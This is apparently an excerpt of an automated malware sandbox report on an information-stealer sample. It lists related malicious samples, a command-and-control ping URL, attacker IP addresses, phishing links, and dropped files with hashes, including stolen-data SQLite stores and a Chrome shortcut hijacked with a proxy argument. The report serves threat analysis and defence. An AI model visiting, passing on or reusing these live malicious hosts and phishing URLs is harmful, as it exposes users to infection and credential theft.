	cdII5mhga0.exe	Get hash	malicious	PureLog Stealer, RedLine, SectopRAT, Stealc, zgRAT	Browse	185.172.128.90/cpa/ping.php?substr=two&s=ab&sub=0
	vUHPxHrwaD.exe	Get hash	malicious	PureLog Stealer, RedLine, zgRAT	Browse	185.172.128.90/cpa/ping.php?substr=five&s=ab&sub=0
	u7p2rff5aP.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	185.172.128.90/cpa/ping.php?substr=eight&s=ab&sub=0
	Cl87xHpeUC.exe	Get hash	malicious	PureLog Stealer, RedLine, SectopRAT, Stealc, zgRAT	Browse	185.172.128.90/cpa/ping.php?substr=two&s=ab&sub=0
	WkyVbL3QZv.exe	Get hash	malicious	PureLog Stealer, RedLine, SectopRAT, zgRAT	Browse	185.172.128.90/cpa/ping.php?substr=seven&s=ab&sub=0
	w9SuIZ5zTo.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	185.172.128.90/cpa/ping.php?substr=eight&s=ab&sub=0
	gpmpUMn9R3.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	185.172.128.90/cpa/ping.php?substr=two&s=ab&sub=0

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
NADYMSS-ASRU	SecuriteInfo.com.Trojan.Siggen28.41706.73.21156.exe	Get hash	malicious	Unknown	Browse	185.172.128.142
	SecuriteInfo.com.Trojan.Siggen28.41706.73.21156.exe	Get hash	malicious	Unknown	Browse	185.172.128.142
	exDbnS3M12.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.151
	qa4Ulla1BY.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.151
	U8uFcjIjAR.exe	Get hash	malicious	LummaC, Amadey, Glupteba, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine	Browse	185.172.128.19
	JlvRdFpwOD.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, SectopRAT, Stealc, Vidar, zgRAT	Browse	185.172.128.228
	tstreds.gagg.exe	Get hash	malicious	Atlantida Stealer	Browse	185.172.128.95
	tZvjMg3Hw9.exe	Get hash	malicious	PureLog Stealer, RedLine, RisePro Stealer, Vidar, zgRAT	Browse	185.172.128.203
	Luminar_v4.0.1.hta	Get hash	malicious	Cobalt Strike, Atlantida Stealer	Browse	185.172.128.95
	VOrqSh1Fts.exe	Get hash	malicious	Neoreklami, PureLog Stealer	Browse	185.172.128.203
GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	SecuriteInfo.com.Win32.PWSX-gen.11739.16980.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	https://herozheng.com/	Get hash	malicious	Unknown	Browse	34.117.152.183
	file.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	https://wywljs.com/	Get hash	malicious	Unknown	Browse	34.117.152.183
	https://xdywna.com/	Get hash	malicious	Unknown	Browse	34.117.152.183
	https://mandrillapp.com/track/click/30551860/topbusiness.ro?p=eyJzIjoiWmkwVnFVYXdRYlFmYnVnd3Y3OWdtR2h1anpvIiwidiI6MSwicCI6IntcInVcIjozMDU1MTg2MCxcInZcIjoxLFwidXJsXCI6XCJodHRwczpcXFwvXFxcL3RvcGJ1c2luZXNzLnJvXFxcL3dwLWFkbWluXFxcL2pzXFxcL3dpZGdldHNcXFwvbWVkaWFcXFwvP2FjdGlvbj12aWV3JjE0MD1jMk52ZEhRdVpHRm9ibXRsUUd4allYUjBaWEowYjI0dVkyOXQmcjE9MTQwJnIyPTE0MCZub2lzZT00Q0hBUlwiLFwiaWRcIjpcImVjMTY1MjE1OWRhYTRjZTA5ZGZhODE5NTEzNzU2Mjg1XCIsXCJ1cmxfaWRzXCI6W1wiOGMyZTc5NjYyNTU5N2FjNDFlODZkYmM4MWMwMjI2MTFjZjYyYTIzMlwiXX0ifQ	Get hash	malicious	HTMLPhisher	Browse	34.117.77.79
	Pots.exe	Get hash	malicious	44userber Stealer, Rags Stealer	Browse	34.117.188.166
	vEaFCBsRb7.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	oO2wHSVFJM.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	https://www.opustrustweb.com/EmailTrackerAPI/open?token=eyJhbGciOiJkaXIiLCJlbmMiOiJBMTI4Q0JDLUhTMjU2In0..62tVk07eUS1tgkfaDkQOqQ.nL-JZjGlYSBu9AibCOqK7-wJ7VXqjfoMrgeXwHgP6tLPx4s2jjofEWjZh794Ex5FiocFlK50_YxzembNjUsYkjIjaFyaIpNIDSPFE46cBlrxNy-t9VcCVcfKZphrojE0.AXzXZielor8D6px-r_wTOg&url=https://minicursodamariana.fun/nu/slceitil@emfa.pt	Get hash	malicious	HTMLPhisher	Browse	34.117.77.79
FREE-NET-ASFREEnetEU	SecuriteInfo.com.Win32.PWSX-gen.11739.16980.exe	Get hash	malicious	RisePro Stealer	Browse	147.45.47.93
	file.exe	Get hash	malicious	RisePro Stealer	Browse	147.45.47.93
	vEaFCBsRb7.exe	Get hash	malicious	RisePro Stealer	Browse	147.45.47.93
	oO2wHSVFJM.exe	Get hash	malicious	RisePro Stealer	Browse	147.45.47.93
	hYrJbjnzVc.exe	Get hash	malicious	RisePro Stealer	Browse	147.45.47.93
	KhbShPK91I.exe	Get hash	malicious	Unknown	Browse	193.233.132.56
	4yFaZU8fhT.exe	Get hash	malicious	RisePro Stealer	Browse	147.45.47.93
	RY5YJaMEWE.exe	Get hash	malicious	RisePro Stealer	Browse	147.45.47.93
	MejqsB9tx9.exe	Get hash	malicious	Amadey	Browse	193.233.132.56
	OUZXNOqKXg.exe	Get hash	malicious	RisePro Stealer	Browse	147.45.47.93
WHOLESALECONNECTIONSNL	U8uFcjIjAR.exe	Get hash	malicious	LummaC, Amadey, Glupteba, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine	Browse	185.215.113.67
	Mz1rpaUC0i.exe	Get hash	malicious	RedLine	Browse	185.215.113.117
	957C4XK6Lt.exe	Get hash	malicious	Phorpiex	Browse	185.215.113.66
	c3nBx2HQG2.exe	Get hash	malicious	Glupteba, Mars Stealer, Phorpiex, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	185.215.113.66
	file.exe	Get hash	malicious	Phorpiex	Browse	185.215.113.66
	SecuriteInfo.com.Trojan.Siggen28.25504.27914.23637.exe	Get hash	malicious	Glupteba, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer, SmokeLoader	Browse	185.215.113.46
	3RvPzfuxwM.exe	Get hash	malicious	RedLine	Browse	185.215.113.67
	bUWKfj04aU.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RedLine	Browse	185.215.113.32
	80OrFCsz0u.exe	Get hash	malicious	GCleaner, Glupteba, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer	Browse	185.215.113.46
	SecuriteInfo.com.Win64.Evo-gen.28136.30716.exe	Get hash	malicious	GCleaner, Glupteba, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer	Browse	185.215.113.46
FREE-NET-ASFREEnetEU	SecuriteInfo.com.Win32.PWSX-gen.11739.16980.exe	Get hash	malicious	RisePro Stealer	Browse	147.45.47.93
	file.exe	Get hash	malicious	RisePro Stealer	Browse	147.45.47.93
	vEaFCBsRb7.exe	Get hash	malicious	RisePro Stealer	Browse	147.45.47.93
	oO2wHSVFJM.exe	Get hash	malicious	RisePro Stealer	Browse	147.45.47.93
	hYrJbjnzVc.exe	Get hash	malicious	RisePro Stealer	Browse	147.45.47.93
	KhbShPK91I.exe	Get hash	malicious	Unknown	Browse	193.233.132.56
	4yFaZU8fhT.exe	Get hash	malicious	RisePro Stealer	Browse	147.45.47.93
	RY5YJaMEWE.exe	Get hash	malicious	RisePro Stealer	Browse	147.45.47.93
	MejqsB9tx9.exe	Get hash	malicious	Amadey	Browse	193.233.132.56
	OUZXNOqKXg.exe	Get hash	malicious	RisePro Stealer	Browse	147.45.47.93

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	pYJeC4VJbw.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	Wb9LZ5Sn1l.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	c4RAHq3BNl.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	exDbnS3M12.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	qa4Ulla1BY.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	U8uFcjIjAR.exe	Get hash	malicious	LummaC, Amadey, Glupteba, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine	Browse
	JlvRdFpwOD.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, SectopRAT, Stealc, Vidar, zgRAT	Browse
	file.exe	Get hash	malicious	LummaC, GCleaner, Glupteba, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	0dN59ZIkEM.exe	Get hash	malicious	Vidar	Browse

Created / dropped Files

C:\ProgramData\CGDHDHJEBGHJKFIECBGCBGCAFI

Download File

Process:	C:\Users\user\AppData\Local\Temp\u6po.0.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 12, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 12
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.769103894580091
Encrypted:	false
SSDEEP:	96:Pxe9424im4/KlJiylsMjLslk5nYPphZEhcR2hO2mOwMU8tmKuzRk4PeOhZ3hcR1L:PxqZR8Z1txqWRHjNdaqlod8Itnb6Ggz
MD5:	5C6618D1A16E7CDC7483EEB2F8673CCC
SHA1:	F1AC3672B19A3B0B42530E5B4B35C1DC174A95BB
SHA-256:	B1A3506716B315D73158B363B031678C5372EDB4094A793557C0B44C9276087A
SHA-512:	02EABF44D6443533B8392CC52738F91806FF9931904413253564338A7A3C4921AD378B584F305ACBEC7464ADFB0182E433B72B30751E41165B25470E18BE1A2D
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EHCBAAAF

Download File

Process:	C:\Users\user\AppData\Local\Temp\u6po.0.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FHCGCFHDHIIIDGCAAEGD

Download File

Process:	C:\Users\user\AppData\Local\Temp\u6po.0.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FHIIEHJK

Download File

Process:	C:\Users\user\AppData\Local\Temp\u6po.0.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IDAEHCFHJJJJECAAFBKJ

Download File

Process:	C:\Users\user\AppData\Local\Temp\u6po.0.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\MPGPH131\MPGPH131.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2390528
Entropy (8bit):	7.919291926748545
Encrypted:	false
SSDEEP:	49152:bGY5918NqwTEgTcQ26a+gdlb2SAc4CSf24JbhV6qDpEovLz8MBpUoo:ohTP6t299CczlXMSlo
MD5:	C1BF02296C415ABC8B1F0ED13088D96D
SHA1:	6506E74510BC28BE318B75736EA0B36C62C6766C
SHA-256:	EE57FAE40BB8457A507F59569B111660438812426852E7B13299E841E82E8302
SHA-512:	CF4F8314054472920878DA5237D258EF9E2C728AE1BB0487F5ACCE938A3842567BD3036F8C40F6A6D18501F8D80E9A4FE1E7F517F1315A47326A0F0D29317D03
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Virustotal, Detection: 53%, Browse
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......j.....s...s...s.e.p.%.s.e.v...s.e.t./.s..y...s..yw.=.s..yp.4.s..yv.u.s.e.w.6.s.e.u./.s.e.r.5.s...r...s..zz.2.s..z../.s..../.s..zq./.s.Rich..s.................PE..L.....2f...............'..............]...........@...........................].......$...@.................................^0..r....p........................\...............................\.................................@................... . .`..........................@....rsrc........p......................@....idata .....0......................@... ....@......................@...agovwish......D.....................@...lcjgmmfi......]......T$.............@....taggant.0....].."...X$.............@...........................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_swiiiii.exe_4644a13ebcdb6e10e65a72b8ec8bc0b0ff32d1fa_6563360f_17591cc2-a55d-4452-b105-c15cda38f159\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9262529916296979
Encrypted:	false
SSDEEP:	192:BiwrDiSYX6c0BU/uvFaGszuiFgZ24IO8Ed:Bi0DpYX6XBU/uvFadzuiFgY4IO8Ed
MD5:	9AD702CE02A0F52A90A53E6498973A48
SHA1:	C40437785F1B2C29B8CA788ADB8457B17C3D68CE
SHA-256:	98EC6B7889B1FFF50AB71A0594AB7CE34971331F29A5D67C972C0D7D39703E38
SHA-512:	8AF0854CC5B87E20D18D7455A49634C4D8BCE7B29A1CDF24F7285E522877E6436C8E75EF40502B787C7C51C76392F80C2361A2C510D3130C22164BB7E4CDDDFF
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.5.9.2.6.8.3.4.6.9.8.6.8.0.0.3.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.5.9.2.6.8.3.4.9.6.4.6.9.5.8.2.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.1.7.5.9.1.c.c.2.-.a.5.5.d.-.4.4.5.2.-.b.1.0.5.-.c.1.5.c.d.a.3.8.f.1.5.9.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.e.8.e.c.c.8.8.0.-.6.5.6.1.-.4.d.0.1.-.9.9.0.5.-.6.9.e.8.7.5.9.0.d.a.5.a.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.s.w.i.i.i.i.i...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.C.M.S.T.P...E.X.E.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.a.1.c.-.0.0.0.1.-.0.0.1.4.-.5.1.f.0.-.c.6.7.8.d.6.9.d.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.6.f.4.0.2.9.a.9.7.d.3.e.3.4.2.c.a.a.8.8.8.2.3.7.5.d.c.b.c.2.b.1.0.0.0.0.0.9.0.4.!.0.0.0.0.3.3.a.e.d.a.d.b.5.3.6.1.f.1.6.4.6.c.f.f.d.6.8.7.9.1.d.7.2.b.a.5.f.1.4.2.4.1.1.4.!.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA6A7.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Sat May 4 03:52:27 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	173885
Entropy (8bit):	3.9108047922802434
Encrypted:	false
SSDEEP:	1536:49bwiouBojRfjpN4uE2aOr/s1SVXRLTgC6EAE9VbCD+tT77z:4N2T4uEqyyBLTgbinqoz
MD5:	38E35A6BF86DCF0D6E7744133B83B2E2
SHA1:	839D5C9B5178B27CDB285A8B1116972ED4BC6B41
SHA-256:	8738A9D2CF3E9D83BBE406A33320000FDE809B26C9D2D88A0A6572B48125DABF
SHA-512:	53B2B78883162E091E2A3596201B19B2F2C2B1D097F7D9655EE2CA198E9B0EC02F67E99A2CE84BD01FE26AFACDC4969FA0BD10143BA693DAD1C4B28A7E343088
Malicious:	false
Preview:	MDMP..a..... .........5f....................................$...............*9..........`.......8...........T...........P$.........................................................................................................eJ......L.......GenuineIntel............T.............5f.............................0..................W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .S.u.m.m.e.r. .T.i.m.e...........................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA8AC.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8322
Entropy (8bit):	3.698184749001198
Encrypted:	false
SSDEEP:	192:R6l7wVeJ7C6n6YEuM6Pk+BgmfM4JBpr789bWVsfnym:R6lXJe6n6YEt6Pk+BgmfM4JQWufj
MD5:	6379E457AE376DE94A4F50B015222176
SHA1:	6912BFB8B002458673067DB500DB2DE7EE1DFE02
SHA-256:	E7F0B91CB0E665CC5E392ABEBDF81AAE6F3340D59B7D20F9A9146D62C0887826
SHA-512:	278C364262E266BB40243A274021DE7BCC458B57E9F3350CC926361AABD6AB417234222E03DD112DE9795992C6C3A939EB60992BDD72FC536C7D3369C387415F
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.2.5.8.8.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERAF92.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4652
Entropy (8bit):	4.481200693525412
Encrypted:	false
SSDEEP:	48:cvIwWl8zs4Jg77aI9TQWpW8VY9Ym8M4JlAFT+q8wV1ym3Z01R2d:uIjf+I7Np7VxJQ/yAZ0T2d
MD5:	7F50CD8DB3CA5A180A9A19BEA2F3D353
SHA1:	C673368C66ED69028DD7EE824BC9D598130C2A80
SHA-256:	610F7B3E3006ABCAE8BF858593BDAEC61D4F5AFA2C3993B40D3100CB3E1B37F1
SHA-512:	A91270747B1F9187C7D2D1BF30075FC2F72D7987CAB5A61C9EA2BBA13583ABCF267344A0B2C32C31963064902A71316F70FDB56CC4232630BE3BCBA3404D676C
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="307855" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\u6po.0.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: pYJeC4VJbw.exe, Detection: malicious, Browse Filename: Wb9LZ5Sn1l.exe, Detection: malicious, Browse Filename: c4RAHq3BNl.exe, Detection: malicious, Browse Filename: exDbnS3M12.exe, Detection: malicious, Browse Filename: qa4Ulla1BY.exe, Detection: malicious, Browse Filename: U8uFcjIjAR.exe, Detection: malicious, Browse Filename: JlvRdFpwOD.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 0dN59ZIkEM.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\Public\Desktop\Google Chrome.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000071001\jok.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:41 2023, mtime=Wed Oct 4 11:02:28 2023, atime=Wed Sep 27 04:28:27 2023, length=3242272, window=hide
Category:	dropped
Size (bytes):	2104
Entropy (8bit):	3.458040216957206
Encrypted:	false
SSDEEP:	48:8SddZTBnGRYrnvPdAKRkdAGdAKRFdAKR/U:8SJZ
MD5:	291F10E430D9186724155DB50C60E58E
SHA1:	D6B11FFA1B10A141BFE22AAC4C0CFDE8379668FA
SHA-256:	BEB397D3F1783456FA42B6EE68CC02F70603648549FF125AA44D78B246AA9079
SHA-512:	E17404BBC7960E15C02C0E0885EA12F27AC40840FFB6C2148B1182B8B7AC326CC0C0CC665C8D3CC3FB093E6F6013430572B532B05DF491AAC99FA8DAD294235D
Malicious:	false
Preview:	L..................F.@.. ......,..............q.... y1.....................#....P.O. .:i.....+00.../C:\.....................1.....DW.V..PROGRA~1..t......O.IDW5`....B...............J.....i...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VDWO`....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VDWO`....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VDWO`..........................."&.A.p.p.l.i.c.a.t.i.o.n.....`.2. y1.;W.+ .chrome.exe..F......CW.VDWI`..........................,.6.c.h.r.o.m.e...e.x.e.......d...............-.......c............F.......C:\Program Files\Google\Chrome\Application\chrome.exe....A.c.c.e.s.s. .t.h.e. .I.n.t.e.r.n.e.t.;.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.!.-.-.p.r.o.x.y.-.s.e.r.v.e.r

C:\Users\user\1000021002\ac861238af.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1166336
Entropy (8bit):	7.035569611926666
Encrypted:	false
